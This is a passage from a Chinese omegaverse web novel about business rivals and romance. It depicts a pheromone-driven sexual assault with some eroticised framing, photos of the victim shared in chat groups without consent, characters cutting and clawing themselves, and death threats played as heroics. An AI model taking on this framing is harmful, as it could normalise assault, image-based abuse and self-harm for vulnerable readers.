众口铄金,积毁销骨。 不管他如何举证,在那种情况下都会被世人被网友打成‘交易没谈拢’,要是知道他也不是不能接受男人, 那他不是更加百口莫辩? 或许是太过委屈、无奈、惊惶、无能为力……没办法替自己辩护, 没有让恶人受到应有的惩罚,他始终耿耿于怀, 放不下过去。 如果还能回去, 如果正义不能到来,如果还有机会, 他会亲手杀了这个人渣! 卢绛充满红血丝的双眸盛满了恨意与杀气, 久久才平复。 一个没有办法放下过去的人, 又怎么能重新开始? 不管他现在对景凉是怎样的情感, 都不可以! 景凉那么好的人, 值得更好的,景凉身边不需要像他这种满身脏污,沉湎过去深陷泥沼的伴侣, 负面能量是无形冰冷的铁链,也会将无辜之人缠绕其中,拖入深渊。 卢绛将那点萌芽掐断,心无旁骛继续学习,寒假眨眼就过了大半。 因为收购万星的事情,卢绛提前一个星期回了南城,与廖成开当面签了收购协议。 一切都很顺利,廖成开也算是诚意满满。 之后出面的事情都是霍临,身为公司的执行总裁,拥有公司经营决策权,除非重大项目才需要找卢绛签字。 员工听说新老板也很年轻,但是一直没有露面。 万星正常运营,除了之前项目持续在做,公司新成立了多媒体部门,主要以研发一款新概念APP为主。 霍临的动作非常快,他有比别人领先十年的技术与市场先知,不到半年,产品开始分发内测。 卢绛是APP第一个用户,一个不喜欢分享生活的人,为了写产品实用体验报告,每天早中晚的生活细节,都会拍摄剪辑记录。 卢绛还在环球财经论坛国际版注册了一个号,没事会上论坛看看最新资讯,偶尔会发表回复一些自己的看法,没想到几个月就涨了五百多个粉丝。 股市的收入现在已经十分可观,财富持续增涨。 今日论坛顶置论点#互联网与实体经济融合是否会成为未来发展趋势# 卢绛的回答是:互联网与实体经济融合必定会成为未来趋势。 结合之前那个世界十几年的自媒体与经济发展,洋洋洒洒写了几千字的看法与见解,检查了一些专业名词与语法有没错误后,点击发送。 看了眼时间,已经晚上十一点,平时卢绛雷打不动的十点半准时睡觉,今天有点晚了。 他匆匆收拾了下书桌,洗漱睡觉。 * 晚十一点,霍临停在酒庄外等了将近一个小时。 他频频看着腕表,越等越心焦。 怎么还没出来,平时这个时间都已经到家了。 霍临咬咬牙,推开车门走进酒庄去寻人。 毕竟都是些自诩上流人士的品鉴聚会,不至于低俗。 霍临身穿昂贵的正装,被酒庄的侍从领着穿过展览长廊,来到了流光溢彩的正厅。 他巡视了一圈,并没有看到崔少霈的身影。 正打算去吧台那边向酒保打听一下崔少霈的去向时,经过一旁的沙发座,他从别人嘴里听到了崔少霈的名字。 “崔少霈怎么还没出来?不会真喝倒了吧?” “瞧他刚才那不要命的样子,看来是真缺钱,为了卖酒至于吗?” “我听一个在医院的亲戚说,他其实是个omega!为了装alpha长年打激素针。” “你听说晚了,这已经不是什么秘密,可笑的是他还在装A,所有人都看着他在装A,太可怜了,你说咱们要不要发发慈悲提醒他一下?” 霍临深吸了口气,拳头紧了,上前打断了他们的八卦。 “不好意思打扰一下,请问崔少霈在哪?” 几人饶有兴趣的打量着霍临,已经有人认出了他。 毕竟他跟崔少霈的那三年,崔少霈将他捧在手心里,走哪都带在身边炫耀,和崔少霈结识的对霍临也不陌生。 其中一个omega好心的指了指洗手间的方向,“他去了半个小时了,还没出来,你赶紧去看看吧。” “啧,你干嘛多管闲事?” …… 霍临直觉他出事了,往洗手间的方向疯跑了过去。 前世他只能看到崔少霈身上那些触目惊心的旧伤疤,可他却不知到底是如何弄的,是何时添的?他什么都不知道。 洗手间的门被人从内反锁上了,霍临用力拧了拧门锁,也没浪费时间,退后了几步,然后猛地抬脚,将门踹开。 眼前的这一幕让霍临血压飙升,只见崔少霈后颈全是血,已经将破损的衬衣染红,盥洗台的镜面被人敲碎,崔少霈的手里握着一片碎镜正要往自己的脸上划。 几名恶劣的alpha围着他,仿佛在看一出有趣的好戏,还起着哄让他赶紧动手。 对于突然闯进来的霍临,那几个alpha并没有收敛,他们也认得霍临,因为他们全是之前与崔少霈称兄道弟的有钱人。 崔少霈其实并不想在这里、这一刻看到霍临,因为太狼狈太丢人了。 如果可以,他希望自己在霍临心里永远是那个体面的高高在上的崔少霈。 霍临会怎么看他笑话? 是不是也会和他们一样,表面什么都不说,其实心里看不起他? 好想,就这样死了! 太难堪了。 霍临的心脏被狠狠地刺痛,崔少霈怎么就成这样了? 明明出门还好好的,里面的衬衣是他特意出门买来给他搭配工作服穿的,现在已经被撕坏了。 他身上到处都是血,到处都是伤,却还是那副倔犟的样子,死咬着牙宁愿自残也不肯求饶。 “把你手上的碎玻璃给我!”霍临几乎是用着命令的语气,信息素的压制让崔少霈乖乖听话的把碎玻璃递了出去。 霍临甩开沾血的玻璃,脱下自己的外套给他披上,虎口用力掐过他的下巴,有些粗暴地将他的脸扭了过来,查看他左脸上的划痕。 还好划得不深,霍临陡然升起的那股无名怒火消了下去。 第40章 第40章 没教养的狗东西,把你的信息…… 但是现在最麻烦的应该是他后颈腺体的伤。 自尊心有那么重要吗?比自己的命还重要? 求饶一下会死啊?! 种种责备的话几乎是到了霍临嘴边, 但看到崔少霈破碎不堪的样子,又没忍心说出口。 霍临拳头握得咔咔响,想揍人。 “跟我去医院。” 崔少霈没办法说出拒绝的话,被霍临护着, 在众目睽睽之下, 走出了酒庄。 那些人没有拦他们,因为不屑, 无聊的有钱人, 不过是想找点乐子, 并不想闹出人命。 要不是崔少霈骨头这么硬, 都不会闹到这个地步,不过是人的劣根性使然,看他落魄了,想耍耍他而己。 大家都认识, 说几句好听的话, 叫几声哥的事,就能少吃很多苦, 崔少霈就是不肯。 凌晨十二点, 霍临满身疲惫看着他再次被推进手术室。 后颈的腺体是他自己用手抠的,那么敏感的地方, 他是真的不怕疼吗? 也不知道手术能不能修复好? 这场手术做了六个多小时, 连夜又叫了两个主任过来, 一直到早上七点, 人终于被推出手术室, 腺体是保住了,不过会面临长期信息素紊乱症,需要吃药治疗。 霍临很久没这么憔悴了, 看他还在昏睡,出去找了个早餐店吃了碗米粉。 吃完早餐整个人好受许多,这才拿出手机给卢绛发送消息。 【霍临:今天我去不了公司,不过应该没什么大事,能远程处,跟你报备一声。】 毕竟公司才刚步入新的轨道,一切还没稳定,他现在是公司高层管,不能说不去就不去。 卢绛在学校食堂刚打了份早餐。 他本来不想打电话问情况,但是感觉发信息有点说不清楚,就给霍临打了一个电话。 “霍哥,你那边出什么事了?” “嗯,有点事……”霍临情绪听起来很低落,没直接说。 “要是麻烦,你不去公司也没关系,反正之前的项目都已步入轨道,有相应的负责人,app的进度已经很想了,你不要给自己太大压力。” 霍临心里憋得慌,将昨晚发生的事情都给卢绛说了。 “M的,你说那是一群什么朋友?一群崽种!” 也不是第一次听霍临骂得这么脏了,再次听他骂人,还是很有冲击力。 卢绛默了几秒,才找回自己的声音:“那照你这么说,这只是一个开端,只要霈哥还在南城一天,他们就会找机会耍人玩。” “你不知道,崔少霈tm的就是个犟种,在酒庄会发生什么事情你以为他想不到?他知道,但他死也要钱。” “他欠了多少?” “大概一个多个亿吧!申请破产后清算完共益债务,大多是小工厂未结算的款项和员工工资,以及部分税款。” “说多不多,说少也不少。” “我会帮他还的。” 卢绛以为自己误听,霍临一天天死要钱的居然这么大方? “你们是打算结婚吗?” 霍临反应大得差点从椅子上摔下来,“你胡说八道什么呢?我又不喜欢他!” “那你替他还巨额债务?” “前世欠他的!” “哦……”卢绛做了做脸部肌肉运动,强忍住不笑。 “欸你小子,是不是油盐不进啊?你是不是不信我根本不喜欢他?” “我没有不信,噗咳咳咳……” “你是不是笑了?” “我没笑哥,我吃卤蛋太急噎住了。” “……” 霍临也觉得自己的反应太激烈,倒显得此地无银三百两。 “霍哥,要不这样?” “什么?” “他想要工作还钱,那就不要伤他自尊心,让他好好上班不就行了?” “呵,我是不介意你高薪把他招揽进市场部的。” “这样做不就太明显了吗?” “怎么做不明显?” “你把酒庄悄悄买下来,再请几个保镖过去看场子,让他当个代人卖卖酒,我再介绍我爸熟悉的客户过去,人也安全,钱也赚了,做个一年半载,钱可能就够了。” 霍临人傻了。 “你说什么???” “你现在没钱没关系,我可以借你。” 霍临心动了,这么大个好意,又不想拒绝的窘迫。 “你小子……挺好,有当霸总的潜质!” 卢绛笑笑,认真道:“霍哥,坦白说我不是无偿给你这些钱的。” 霍临怎么可能会不明白?但他喜欢卢绛的坦率与磊落,敛回那几分不正经,郑重承诺道:“放心吧,我余下的所有价值,都将奉献给我们未来伟大而灿烂的事业。” “买下酒庄的事情交给我,我上午有一节选修课,先去准备了。” “嗯,去吧,我也得回医院去看看情况。” 卢绛想到之前加的祝修杰,也是应该招几个小弟好办事,他不能一直这样孤僻独行。 而这人,现在能派上用场。 * 最近公司的春季成衣款国内与海外的都要尽快定下,景凉连续加了好几天的班。 忙碌的工作让他暂时将挑选alpha的事情搁置。 景妈也不敢过份催他,徒增压力与烦恼。 周洲下楼买了宵夜回来,看他还没回去的打算,“这天怪冷的,你别弄到太晚,今天我没办法陪你了。” 周洲的发情期要来了。 “不用你陪我,赶紧回家吧,你这几天在家里办公,别来公司了,回家开车小心。” “嗯,拜拜。” 周洲走后没多久,走廊隐约传来一阵脚步声,景凉以为是周洲忘了什么东西回来取。 办公室的门被人推开,景凉头也没抬的问了句:“怎么又回来了?是有东西忘了拿?” ‘咔’——门被反锁了。 景凉心脏漏掉了一拍,猛地抬头看去。 当看到来时人,从未有过的危机感侵袭全身,让人汗毛倒竖,景凉全身戒备,悄悄打开抽屉拿出了一把美工刀,推出一截刀刃。 “陈又铮,你怎么来了?” 陈又铮是陈万川的儿子,一个B+级alpha,成天在外打架,惹事生非,还酷爱飙车。 哦~对了,以前跟卢绛称兄道弟,一起玩的。 陈又铮一双吊梢眼看着就不怀好意,浑身上下透着一股子邪性。 “出去。”景凉冷冽的呵斥了声。 陈又铮无动于衷,一双手撑在了办公桌边沿,极其猥琐的凑到了景凉的颈窝处深嗅了口气,“你的信息素真寡淡,怪不得阿绛不喜欢你,宁死也不想跟你结婚。” 景凉闻到了一股浓郁的alpha信息素,使他身体变得沉缓迟钝。 “没教养的狗东西,把你的信息素收一收!” 40-50 第41章 第41章 继续释放出更多的信息素,强…… 陈又铮看着他的身体渐渐软了下来, 故作冷静又高傲的模样,反而叫他兴趣十足。 “小景总,反抗是没有用的,不要做无意义的抵抗, 我的信息素是B+级, 接近于A级。” 陈又铮宽大的手掌绕到了他的后颈处,张开了五指。 “别碰我!”景凉愤怒想将他的手推开, 却因脱力的原故像在小猫挠痒, 落在陈又铮眼里, 跟欲拒还迎差不多。 陈又铮原本想掐他后颈的五指, 改拽他后脑的头发,强迫景凉仰着脸面对他。 “一个omega为什么不好好听话,非得学alhpa管公司?你知不知道,董事会的那些人, 早看你不爽了!” 景凉怒极而笑, “是吗?一生以生alpha儿子为荣的老家伙们,无能狂怒的样子也太可笑了, 他们应该反思除了alpha的身份, 自己本身到底有什么价值!” “到了现在你还敢嘴硬?看来是没好好吃过教训!”陈又铮粗暴的拽着他的头发,将他粗暴的摔地冰冷的地板上。 陈又铮继续释放出更多的信息素, 强制景凉进入发情。 景凉因长年信息素紊乱的缘故, 对发情期的耐受力很强, 所以他依旧能保持清醒, 只是身体很软, 使不出力气。 他将藏在袖口的美工刀滑出,就在陈又铮弯腰去抓他后领时,景凉一个利落翻身, 举起了手里的刀,毫不迟疑地朝他脖子大动脉刺了过去。 陈又铮冷笑,轻而易举的攥住了他握刀的那只手,“都这样了,你居然还能反抗?要是别的omega大概早就趴在地板上求我gan了!” “可惜,omega在信息素的压制下,只能沦为雌兽,以供alpha玩弄!真可怜啊,小景总,任你再如何努力如何挣扎,你也逃不出这个世界运行的规则。” 陈又铮根本没把omega当一个正常的人看待,在他看来,只要一点信息素,omega就会变成他发泄的工具,是任他差遣的奴隶。 董事会那群老家伙,真是没用极了,被一个omega使唤了这么久,自视清高,最后还是得使这种见不得光的手段! “来啊,小景总,释放出你的信息素。”陈又铮抓过景凉的手探入他的月退间,邪笑:“让它为你疯狂!” 景凉眼里迸发的恨意让陈又铮有一瞬汗毛直竖。 “狗崽子,回去好好写遗书吧,你活不久了!” “哈……啊哈哈哈……”陈又铮狂妄大笑:“我好怕哦,小景总,你怎么这么可爱?” 陈又铮夺过他的刀,用力甩开滑向了桌底下。 他粗暴的扣过景凉的后颈将他用力抵在沙发上,毫无征兆的张口咬了下去。 好疼! 景凉的头被陈又铮用力按在沙发上,没有力气动弹。 “要不要我给你一个标记?呵……像你这样信息素寡淡,性格强势又不会撒娇的omega,肯定还没被咬过吧?” “除了我,谁会愿意标记你?你要是下跪求我,说不定我还会考虑娶你,毕竟你的钱还是很有用的。” 景凉咬着牙不发一语,忍耐是他擅长的事情,他尝到了嘴里一丝腥咸,闭了闭眼掩住那几分难耐的疼痛。 恶劣的alpha撕咬着他的后颈,腺体传来的巨痛几乎让他昏过去。 疼到意识不清时,景凉不受控制的像是想寻求一丝慰藉与安全感,低声压抑的叫着他的名字。 “阿绛……好疼……阿绛……” “嗯?”陈又铮饶有兴趣的凑耳过去:“你在说什么?” “阿绛……阿绛。” 听到他在叫卢绛的名字,陈又铮捧腹大笑,仿佛听到了世纪笑话。 “你在叫卢绛的名字?你哈哈哈,太可笑了,你以为他看到你这样会对你有一丝怜惜?他只会觉得你好笑啊!哈哈哈……” 无情的嘲弄几乎刺穿景凉的耳膜,让他瞬间清醒。 他睁着失焦的双眼,泪水无意识滑落。 确实可笑极了,他居然妄想另一个alpha会给他安全感,会来救他于水深火热。 Alpha都是一样的! 陈又铮拿出手机,掐住他的下巴,将他的脸扭了过来。 哭了? 陈又铮小腹发紧,难掩的兴奋:“天啊小景总,你哭起来好美!要不是我今晚约了别的omega,我可能真会在这里要了你!” “这么美的小景总不能我一个人独享,应该让所有alpha都看到!放心,我会把你拍得很好,来~后颈也拍几张吧。” 陈又铮将二十多张不同角度的照片打包成一个名为#发情小亩勾,被标记爽哭了#,发到了十来个alpha群。 离开前,他拍了拍景凉的脸:“很快,我们小景总就要成为下一个艳星了。” 时间无知无觉的流逝,夜静得可怕。 待alpha的信息素彻底散去,情热也跟着一并消退,景凉挣扎着撑起身,淡着脸走进了洗手间。 景凉将盥洗池的水笼头开到最大,水花溅出来打湿了单薄的衬衫。 他若无其事的将打湿的纸巾按压向后颈,稀释的血水染红了领口,几道浅色的血渍沿着白皙的脖颈滑落。 镜中的脸冷白如玉,强撑着的表情在一点点瓦解,因忍耐着愤怒与屈辱而渐渐扭曲。 完美的五官不受情绪控制皱在了一起,寂静的夜晚传来压抑的哭泣,无声诉说着不甘与委屈。 * 一夜之间,那些照片传得几乎人尽皆知。 董事会的几个老头私自开了个会议,一个个道貌岸然,想着景凉会要点脸,不会再来公司,所以他们正在商量着如何让景凉在这个时候,以保全公司的名誉,交出公章。 然而,让所有人没想到的是第二天上午十点,景凉一身体面正装,精神抖擞的出现在了公司。 迎着所有人探寻、戏谑、同情、看好戏的目光,背脊笔挺地走进了电梯。 “天哪,那是小景总吗?” “他居然还来公司?难道他不知道那些照片……” “可他看起来挺好的,照片不会是P的吧?” “快,快去通知陈总,说景凉来公司了!” 顶层高级会议室,来通风报信的人以狗爬式冲进了会议室,喘息不均:“那个,那个小景总,他……他来了!他朝会议室来了!!” 陈万川淡定不能,猛地起身不敢相信:“你没看错?” “没,没有!他很快就到,怎,怎么办?” 陈万川恨得咬牙:“好好好,来得正好,也免得我们去他家一趟,叫人认为咱们这些长辈欺负小孩,不如就当着所有人的面,让他把公章交出来!” 第42章 第42章 还以为卢绛是想看特殊资源的…… 所有人气息未定, 会议室的门应声推开,只见景凉从容不迫,面容冷峻地大步走了进来。 之前还在放大话的一群人,只能静默地瞪着他大大方方坐在了原来的董事长的位置。 坐下调整了一个舒服的姿式, 景凉莫名一笑。 陈万川不懂他在笑什么, 名声烂透了还有什么可笑的。 “你们倒是自觉,知道自己的定位, 什么人该坐哪个位置。” 此话一出, 全员羞恼得面红耳赤, 却说不出反驳的话。 景凉仰靠进真皮沙发椅里, 做了一个请的手势:“继续啊,不是正在开小会吗?” 陈万川的脸色变了几变,在大家眼神的鼓励下,硬着头皮梗着脖子道:“小景总, 你现在应该避嫌不出才对, 为了公司的名誉考虑,不然怎么跟下面的各大股东交待?” 抛出引线后, 会议室总算活络了起来。 董事会元老:“你毕竟是个omega, 我们觉得董事长这个位置确实不合适,股东大会也是一致决定, 让陈总暂代董事一职。” “这次因小景总这个事……严重影响公司市值, 让公司损失很大, 现在我们面临最大的困境, 要立即止损, 阻止资金流失,不能让股价暴跌下去。” “是啊,如果任其发展, 更会影响业务的正常运营,小景总,您不能这么自私!” 景凉冷笑,笑容带着几分疯狂与执拗。 他们在演戏,他们知道景凉知道他们在演戏,但是没有人在乎,将一个omega拉下那个位置是唯一的目的。 “首先,景氏姓景,再过十年二十年,都不会改变这个事实。其次,我不会交出公章,更不会从这个位置下来。最后,我一年花那么多钱养着公关部,连这么点危机都处不好,那这个部门存在的意义是什么?您说是吧?赵叔!” 景凉接过秘书递来的咖啡,轻啜了口,一脸悠然,“景氏养你们这么多年,一点小事就自乱阵脚,股票下跌那就将抛售的股票回购阻止它下跌,联系客户和资深合作方稳定军心,安抚股东情绪,如果运营部连这种事都需要我来教,那就跟公关部的人一起滚蛋,公司不养废物。” 此时董事会成员一个个正襟危坐,冷汗直流。 “还坐着干什么?去干活啊!要我教你们怎么做事?今天我把丑话说在前头,想吃独食,没门!我会拉着大家共沉沦的,加油!”语落,微笑着做了一个打气鼓舞的手势。 这些老油条只是想争取更大的利益,并不想把养老的铁饭碗给砸了,威胁很有用,董事会十几个成员,麻溜的都回自己的管部门了。 只剩下一个陈万川,有点不知所措。 “你,你……” “陈叔,你家那条恶狗以后都给我拴好了,”景凉起身,俯身在他耳边压嗓警告道:“最好不要让他出门,哪一天他死在外面,你哭都来不及。” 景凉用力拍拍陈万川的肩膀,转身大步走了。 周洲打了不下十个电话,景凉都没有接,很平静的将今天的工作处完,开车回了私人别墅。 刚下车,便见院子里站了一个人,景凉心情凝重,迟缓的推开车门。 “妈,您怎么来了?” “发生这么大的事,你怎么一点都不说?” “这算什么大事?” “这不是大事,那什么才是大事?” 同样的问题,周洲也问过他,到底什么才算是大事呢? 他不知道,可能早已麻木了自己,有些事情他咬着牙不得不抗。 “外边冷,先进屋再说。”景凉扶着母亲走进大厅。 景妈让他着急找alpha就是怕这种事情,一个未婚的omega如果没有alpha限制太多。 “你现在打算怎么办?”景妈心疼极了,表面上却还努力的维持着冷静,不想自己情绪失控,再给孩子增加压力。 景凉十分内愧,他紧握过母亲止不住颤抖的手,“您给我挑一个吧,挑一个有点用的又暂时不会对我造成任何威胁的alpha。” “你决定了?” “决定了,得尽快找到这个alpha,然后我会和他一起出面解释照片只是个人情趣,不知道怎么泄露出去的,如果陈又铮敢跳出来,就报警起诉告他侵犯隐私。” “其实我来找你,也是为了此事而来。”说着,景妈从包里拿出两张资料表。 “目前,这两个是最适合结婚的,都没有什么背景,家庭成员比较简单,一个学计算机的,一个是学医的,学医的这个是贷款上学,现在比较缺钱,计算机这个有点特殊。” 景凉疑惑:“怎么特殊?” 景妈:“他倒不是那么缺钱,是家里唯一的alpha,举全家之力从农村里出来的,虚荣心很强!大一的时候就跟过别人,但这种人会很好掌控,因为你知道他要什么,就怕不知道心思的那种。只要用钱吊着他,拖个几年等一切都稳定了,如果他生出二心,你也可以弃掉这颗棋子。” 景凉失笑,点点头:“好,就照您说的办。” “那你……” “我刚回家,好累,想休息一下,我会尽快和他们联系的,您不用担心。” “好吧,妈妈带了一只乌鸡过来,给你煲一盅汤就走,你晚上记得喝点。” “谢谢我亲爱的妈妈。”景凉用力给了她一个拥抱,然后拖着疲惫的身躯回了房间。 他脱下束缚的西装外套,走进了浴室,将衬衫退至肩膀处,扭过脖子看颈后的咬痕,厌恶感达到从所未有的强烈。 恶心! 恶心恶心!! 恶心恶心恶心!!! 他拼命的愤恨的抓着后颈的咬痕,直到血肉模糊为止,他抬头看向镜中的自己,屈辱的泪水在脸上纵横,软弱的样子真讨厌! 他一掌拍向镜面,染血的指尖用力抠抓过镜子,留下五道长长的血痕。 “呵……陈又铮很快就会死,没什么可气的,啊~对,没什么的!不能跟死人计较。” 此时陈又铮在景凉心里已经是个死人了。 * 卢绛看到景凉这些照片时,已经是事情发酵三天后了。 是祝修杰发给他的。 看完照片卢绛心脏像在被人撕扯,眼中翻涌着晦暗不明的情绪,那情绪却像越卷越大的暴风雪,汹涌得似乎要将一切倾轧。 卢绛一边在网上买回帝都的机票,一边给祝修杰电话,此时已经是晚上八点半。 “卢哥,怎么您亲自打电话给我呢?啊,是不是想问购买酒庄那件事的进度?您放心……” “照片哪里来的?” “群,群里呀,所有alpha群里都在传来着。” “有多少群你拉我进去。” “没问题!我这就拉您进去。”祝修杰还以为卢绛是想看特殊资源的,疯狂拉他进了二十几个alpha群。 第43章 第 43 章 谁再传我老婆的照片,谁…… 回帝都的飞机上, 卢绛紧绷着神经,满脑子都是关于景凉的事情,已经容不下别的东西。 几个月没有想明白的事情,在这两小时顿悟。 远离的本愿是不想看到他受到任何伤害, 而不是放任他独自承受暴风雨。 当结果背道而驰时, 只能证明他当初的选择是错的。 是他的怯懦无能让景凉陷入绝境。 不想背负责任,不敢面对未来, 没有信心许下任何承诺, 为自己圈地为牢, 缅怀过去的伤痛无法自拔。 因别人的伤害而不敢走到阳光下, 他就是个懦夫! 他应该要大步走到阳光下,要让那些阴暗无所遁形,他要拥抱幸福和爱的人,从前家人选择抛弃他, 他现在可以自己选择家人了。 他已经长大了, 有了力量可以对抗外界的狂风暴雨,他不应该还习惯的蜷缩在龟壳里, 等着别人来发现他、拯救他。 下飞机前的十分钟, 卢绛给自己做足了心准备。 可他还是有些害怕。 对于景凉拉黑他的事十分介怀。 自己大半夜的冒然去找他,会不会…… 打住! 卢绛强迫自己停止这些负面思绪, 好想藏起来, 但是不可以。 “卢绛, 你要勇敢。” 他悄悄给自己打气。 坐在他旁边的女性beta掩嘴嘴轻笑问了句:“帅哥, 你是不是恐高啊?已经准备降落了哦, 不用怕,很安全的。” 卢绛囧红了脸,“谢谢, 我不是恐高。” 女性beta:“你看起来很紧张,真的没问题吗?” “没,没问题,我要去见喜欢的人了。” “怪不得,你会成功的。” “怎么……看出来的?” 女性beta秀气的脸一红,没有回答他,只是说道:“相信我,加油哦!” 又帅又可爱的小alpha,谁会忍心拒绝呢? * 卢绛走出机场拦了出租车。 他存了周洲的联系号码,得问他要景凉家的地址。 【卢绛:周助,我是卢绛,能否给我凉哥家的地址?我要去找他。】 周洲现在不方便出门,不然他早飞过去看景凉什么情况了,卢绛现在这个时间问他景凉家的地址,肯定也是知道了照片的事情。 或许卢绛的出现,可以彻底扭转现在的局势。 所以他果断的将景凉的住址发给了卢绛。 【周洲:他肯定很难过,能否对他温柔些?我不能去看他,他现在也不接我的电话。】 景凉不接电话,周洲只能想到一个可能,他怕自己在电话里哭出来。 【卢绛:嗯,我会陪着他的。】 【周洲:谢谢,这样,真是太好了。】 【卢绛:不用你谢,是我要谢谢你,这么关心他。】 【周洲:???】以什么身份啊,这臭小子! 此时,卢绛的手机信息一直响个不停,毕竟将近二十个群没有屏蔽。 卢绛点开顶置的群消息,正巧碰到有人在传景凉的照片。 各种污言秽语,不堪入目。 卢绛胸膛腾起滔天怒火,手掌用力得差点把手机屏捏碎。 愤怒冲动之下,他十指快速输了一行消息,点击——发送! 【卢绛:大家好,我是卢绛,景凉是我老婆,谁再传我老婆的照片,谁死!】 五秒后,照片被撤了。 【群员:。】 【群员:。】 【群员:。】 【群员:。】 …… 群成员开始疯狂刷屏,群主在删群内文件。 很好,这种粗暴无脑的警告非常有效,于是卢绛复制粘贴发了每一个群。 一些圈子外的人不明觉厉。 【群员:弱弱问一句,卢绛是谁?】 【群员:+1 好奇。】 【群员:不明觉厉,大家怎么都不说话了?】 【群员:我天生不爱说话。】 【群员:那卢绛到底是谁?】 【群主:别问,问就是你爹。爹让你死,你不得不死。】 今夜,近二十个alpha群安静如鸡。 * 陈家。 陈万川急得在书房内来回踱步,倒是他那惹事生非的儿子翘着腿一脸悠哉。 “爸,你急什么啊?以我对卢绛的了解,说不定只是在群里开玩笑,毕竟这小子喜怒无常,朝令夕改,他以前那么讨厌姓景的,我不信现在就看上了。” “你别说话!”陈万川差点心梗,一切跟计划中的偏差太大,都tm不按套路出牌! 陈又峥翻了一个白眼,吊儿郎当不以为然。 想到之前卢佑铭对他的承诺,情急之下陈万川给卢佑铭打了一个电话。 “哈哈,卢董,不好意思啊这么晚给您打电话。” 卢佑铭正在国外谈项目,虽人在国外,但国内的动向他一清二楚。 “陈总啊,不知道有什么指教?” “指教不敢,不敢。”陈万川轻咳了下嗓门儿,讪讪笑道:“是这样的,之前我问过您关于卢景两家联姻的事情,您说不干涉来着?” 卢佑铭:“那是自然,我卢佑铭说出去的话,泼出去的水。” 陈万川心下一喜:“那就好,那就好,只是令公子他……他对外声称景凉是他老婆,这这这……这玩笑开得挺大。” “哦……”卢佑铭失笑:“我是我,我儿子是我儿子,我仅代表我自己。” 陈万川的笑容渐渐消失:“不是,这,你们父子俩关起门来商量的事,怎么能分开算呢?” 卢佑铭轻叹:“我家这个逆子,从来都当我的话是放屁,陈总去找我家那个逆子谈吧,我还有事,先这样了啊!” 陈万川看着挂断的电话,气得直接把手机摔了。 “卢佑铭这个老东西!居然给我摆这么一道!!” 陈又峥觉得他爹太小题大作,他和卢绛认识这么多年,明摆着就是耍着人玩儿在群里抽疯。 陈万川这才感觉到景凉的威胁形成了实质性压迫,扭头警告儿子,“这段时间,你不要出去乱搞,就在家呆着,你听到没有?” “知道了!”陈又峥表面答应得好好的,脑子里已经在想着明天要去哪儿浪了。 晚上十一点多,卢绛打车来到了景凉的家门外。 这里是属于别墅群区,进来容易出去难,三月的初的帝都还很冷,夜风透凉带走身体里的温度。 卢绛按了许久的门铃,阿姨披着厚实的大衣小跑着出来查看。 “小伙子,这么晚了还跑过来找谁呀?”会不会走错了?脸很生,是没见过的。 “阿姨你好,我叫卢绛,想找景凉。” 第44章 第44章 我们不是还没有解除婚约吗?…… 阿姨惊诧:“找景先生?那你等一下, 景先生可能已经睡了。” “啊,好,麻烦您了。”卢绛倚着墙角背风的地方站着,紧了紧外套。 今晚的夜色黑得伸手不见五指, 毛毛雨越飘越大, 要是景凉不肯见他,那他得步行下山回去, 来时出租车司机就说这边他们只送不接。 卢绛舒了口气, 化成白雾在昏黄的路灯下消散。 阿姨去敲景凉卧室的门时, 他正起床倒了杯红酒, 这几天一直严重失眠。 景凉系好睡袍带子,将杯里的酒一饮而尽,上前去开了门。 “什么事?” “景先生,有个年轻人要找您, 叫……叫什么来着?哎哟, 瞧我这记性!” “不想见,叫他滚。”他认识的阿姨都认识, 不认识的年轻人, 也不知道哪来的阿猫阿狗,真以为自己是个alpha就能上位, 可笑至极! “呃, 诶, 那我叫他先回去, 这大晚上的, 外边在下着雨泥。” “嗯。” 景凉关上门,坐回沙发又倒了杯红酒。 此时周洲的电话突然打了进来,景凉深吸了口气, 这才拿起手机接了。 “我的老天爷,你总算肯接我电话了!” “很晚了,怎么还不睡?” “你不也没睡?” “睡不着……” “你……”周洲想了许多安慰他的话,但是一句都说不出口,因为他知道景凉不需要,“你是不是失眠了?要不去医院看看?” “没事,过一段时间自己就好了,不是什么大事。” “那个谁……” “哪个?” “卢绛来找你了吗?” 景凉的心脏仿佛被上千根针绵密的同时扎了上去,疼得摒住了呼吸。 “我跟他都断了快一个月联系,他不会来找我的。” “不是,他说要来找你,就在一个小时之前,他还问我要了你家的地址,我以为他过去了,原来没有过去吗?” “你说什么?” 景凉人都傻了,脑子有几秒宕机,又怀疑自己在误听。 “就是卢绛今晚回帝都了,他说要来找你,居然骗我,你说他骗我图什么啊?” “先这样,我回头再打给你。” 景凉慌张的起身,穿着睡袍就跑了出去。 他从车库取了车,打开大灯沿着下山的公路往外开。 今晚的夜色很黑,还下着细雨,他自己又喝了酒,所以尽量稳住自己开慢点。 大约追出五百多米的距离,景凉看到黑夜中有道颀长的身影背着包下山。 他的背影很挺拔,肩宽腿长,比例很好,景凉一眼就能认出来。 卢绛没有在意,以为只是普通路过的,直到车子停在了他旁边,车窗降下。 “卢绛!” 卢绛呼吸一窒,猛地扭头看去,再次见到景凉,有种恍如隔世的遥远。 景凉停稳车,推开车门冒雨跑到了卢绛面前。 这个打扮…… 深蓝睡袍加居家拖鞋,这种拖鞋一出门就废,肯定进水了。 Alpha的嗅觉很敏锐,卢绛闻到了他身上的酒味,以及……别的alpha在他身上留下的气味。 难闻。 景凉难掩慌乱的解释着:“我不知道是你,那个阿姨没说你的名字,你怎么来了?我……我有点意外。” 卢绛正要开口,景凉因激动而慌乱的心情,显得话格外多,不自觉又说道:“你是不是……看到那些照片了?让你见笑了,今晚要不,要不去我家里过夜吧,明早我再送你?” “好吗?”他轻轻地,小心翼翼地问他。 卢绛莫名说不出的难过。 心脏疼得厉害。 他不喜欢看景凉狼狈又卑微的样子,为什么他会让景凉变成这样? “你先上车去,回去再说吧。”卢绛将他往车那边推了推,不能两人跟个傻子似的站在这儿淋雨。 景凉回头看他:“那你……” “我开车,你喝酒了,下次不要喝酒开车,很危险的。” “好。”景凉看着他忍不住笑了,快速钻进了副驾驶座。 卢绛在前面将车调头往回开,车内很安静,卢绛本身就是寡言少语的类型,景凉是反应过来羞耻心作祟。 他长这么大,第一次这么不顾颜面,这么丢人现眼。 无所谓了,景凉有点累,不想再做无谓的挣扎。 卢绛憋着一肚子话,但是在车上又怕说不明白,虽然外表看起来无比冷静镇定,其实他很紧张。 直到两人回了别墅,景凉将拖鞋直接脱下扔进了垃圾桶里,拿出了两双新的。 “穿上。” “嗯。” “去我房间把湿衣服换了。” 